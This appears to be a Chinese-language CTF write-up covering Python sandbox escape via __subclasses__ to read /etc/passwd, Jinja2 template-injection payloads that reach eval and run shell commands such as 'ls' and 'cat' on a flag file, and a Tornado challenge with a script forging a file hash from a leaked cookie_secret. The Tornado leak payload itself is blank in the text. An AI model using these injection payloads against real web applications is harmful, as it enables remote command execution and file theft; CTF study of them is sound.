关于python魔术方法payload:””.class.mro[2].subclasses()40.read() 的解释


# 获得一个字符串实例
>>> ""
''

# 获得字符串的type实例
>>> "".__class__
<type 'str'>

# 获得其父类
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>

# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>

# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>

# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh

[关于python魔术方法payload:"".class.mro[2].subclasses()[40]("/etc/passwd").read() 的解释]: https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/

写一个python脚本带入执行查找flag

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}


//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令

tornado框架cookies机制

首告知三项

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

render({options})去向模板中渲染数据,可以把视图响应给客户端,猜测存在模板注入

http://111.200.241.244:50170/file?filename=/flag.txt&filehash=cddd24f1f1b774f7ea9b5bfbf77f524f

输入/fllllllllllllag出现

http://111.200.241.244:50170/error?msg=Error

推测这里可能存在模板注入

尝试

http://111.200.241.244:50170/error?msg={{str}}

确实是ssti注入

md5(cookie_secret+md5(filename))

这里可能是将要传入的filehash的值所以现在就需要知道cookies_secret的值

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

easytornado_1

cookie_secret保存在settings

easytornado_2

发现self.application.settings有一个别名

easytornado_3

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings


可以构造payload获取cookie_secret

payload:error?msg=

写个脚本执行一下

import hashlib
import requests

filename = '/fllllllllllllag'
cookie_secret='3e5c2260-f9d8-48f5-add2-0ac9db60083d'
url = 'http://111.200.241.244:50170/file?'

def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode('utf-8'))
return md5.hexdigest()
def request(url,data):
res = requests.get(url=url,data=data)
print res.text

if __name__ == '__main__':
hash = getvalue(cookie_secret + getvalue(filename))
#print hash
url += hash
#print url
data = {
"filename": filename,
"filehash": hash
}
request(url,data)